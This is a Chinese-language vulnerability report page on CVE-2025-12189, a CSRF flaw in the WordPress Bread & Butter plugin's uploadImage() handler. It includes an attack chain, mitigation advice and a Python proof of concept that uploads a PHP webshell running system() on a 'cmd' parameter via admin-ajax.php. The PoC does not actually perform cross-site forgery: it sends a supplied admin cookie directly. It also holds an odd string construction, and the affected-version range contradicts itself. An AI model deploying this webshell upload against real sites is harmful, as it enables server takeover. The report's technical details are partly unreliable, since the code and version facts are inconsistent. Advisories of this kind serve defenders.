IPBUF安全漏洞报告
English
CVE-2025-12189 CVSS 4.3 中危

CVE-2025-12189 WordPress Bread Butter插件CSRF漏洞导致RCE

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-12189
漏洞类型
CSRF远程代码执行
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Bread & Butter: Gate content + Capture leads + Collect first-party data + Nurture with Ai agents plugin for WordPress

相关标签

CVE-2025-12189CSRF远程代码执行WordPress插件漏洞文件上传漏洞Bread & ButterNonce验证缺失WordPress安全AJAX漏洞社交工程攻击

漏洞概述

CVE-2025-12189是WordPress平台上一款名为Bread & Butter的营销插件存在的安全漏洞。该插件是一款用于内容门控、潜在客户捕获、第一方数据收集和AI代理培育的营销工具。漏洞存在于插件的uploadImage()函数中,由于缺少或错误地实现了nonce验证机制,导致该函数容易受到跨站请求伪造(CSRF)攻击。攻击者可以构造恶意请求,诱骗已登录的管理员在不知情的情况下执行上传操作,从而上传任意文件。这些文件可能包含恶意代码,一旦被成功上传并访问,攻击者即可在服务器上实现远程代码执行(RCE),完全控制受影响的WordPress网站。此漏洞无需认证即可发起攻击,但需要诱导管理员点击链接或访问特定页面,CVSS评分为4.3,属于中等严重程度。

技术细节

该漏洞的根本原因在于WordPress插件的AJAX处理程序中uploadImage()函数缺少适当的CSRF保护。WordPress通常使用wp_nonce_field()生成nonce令牌,并通过wp_verify_nonce()验证来防止CSRF攻击。然而,该插件的uploadImage()函数未正确实现这一验证机制,允许攻击者伪造有效请求。在实际攻击场景中,攻击者首先创建一个包含恶意PHP代码的文件(如webshell),然后构造一个HTML页面,其中包含自动提交的表单或利用fetch/ajax技术发送伪造的上传请求。当WordPress管理员访问该页面或点击攻击者提供的链接时,浏览器会自动携带管理员的cookies向目标网站的uploadImage() AJAX端点发送请求。由于缺少nonce验证,服务器会接受并处理这个伪造请求,将攻击者精心构造的文件保存到服务器上。随后,攻击者通过直接访问上传的文件路径即可执行其中的恶意代码,获得服务器的完全控制权。

攻击链分析

STEP 1
1
攻击者创建包含恶意PHP代码的文件(如webshell),用于实现远程代码执行
STEP 2
2
攻击者构造包含自动提交表单的HTML页面或钓鱼链接,模拟向uploadImage() AJAX端点的文件上传请求
STEP 3
3
攻击者通过社交工程手段(钓鱼邮件、恶意链接等)诱导WordPress管理员访问该页面或点击链接
STEP 4
4
管理员浏览器自动携带其认证cookies向目标网站的admin-ajax.php发送伪造请求
STEP 5
5
由于uploadImage()函数缺少nonce验证,服务器错误地接受了恶意文件并将其保存到wp-content/uploads目录
STEP 6
6
攻击者通过HTTP请求访问上传的webshell文件,传入系统命令参数,实现远程代码执行并完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12189 PoC - CSRF to RCE in WordPress Bread & Butter Plugin # Target: WordPress site with Bread & Butter plugin < 7.11.1374 def exploit_csrf_to_rce(target_url, admin_cookie): """ This PoC demonstrates the CSRF vulnerability in uploadImage() function. Note: Requires social engineering to get admin to click the malicious link. """ # Step 1: Create malicious PHP file for RCE php_shell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' * 0 + ''' <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> ''' # Step 2: Prepare multipart form data for file upload files = { 'file': ('shell.php', php_shell, 'image/jpeg') } # Step 3: AJAX endpoint for uploadImage() ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 4: Missing nonce validation allows CSRF attack data = { 'action': 'bread_butter_upload_image', 'image_data': 'base64_encoded_image_data', 'nonce': '' # No nonce required due to missing validation } # Step 5: Send forged request with admin cookies headers = { 'Cookie': admin_cookie, 'User-Agent': 'Mozilla/5.0 (CSRF Exploit PoC)' } try: response = requests.post(ajax_url, files=files, data=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Step 6: If successful, access the uploaded shell if response.status_code == 200 and 'success' in response.text.lower(): # Extract uploaded file path from response # Access: target_url/wp-content/uploads/bread-butter/shell.php?cmd=whoami print("[+] Exploit successful! Access shell at:") print(f"[+] {target_url}/wp-content/uploads/bread-butter/shell.php?cmd=whoami") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-12189.py <target_url> <admin_cookie>") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_csrf_to_rce(target, cookie)

影响范围

Bread & Butter WordPress plugin < 7.11.1374 (all versions up to and including 7.11.1374)

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1) 临时禁用或删除Bread & Butter插件;2) 使用Web应用防火墙(WAF)规则阻止对admin-ajax.php的异常文件上传请求;3) 在.htaccess或nginx配置中禁止uploads目录下的PHP文件执行;4) 加强对管理员的安全培训,提高对钓鱼攻击的警惕性;5) 限制能够访问wp-admin的用户IP范围;6) 启用双因素认证(2FA)增加攻击者利用难度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表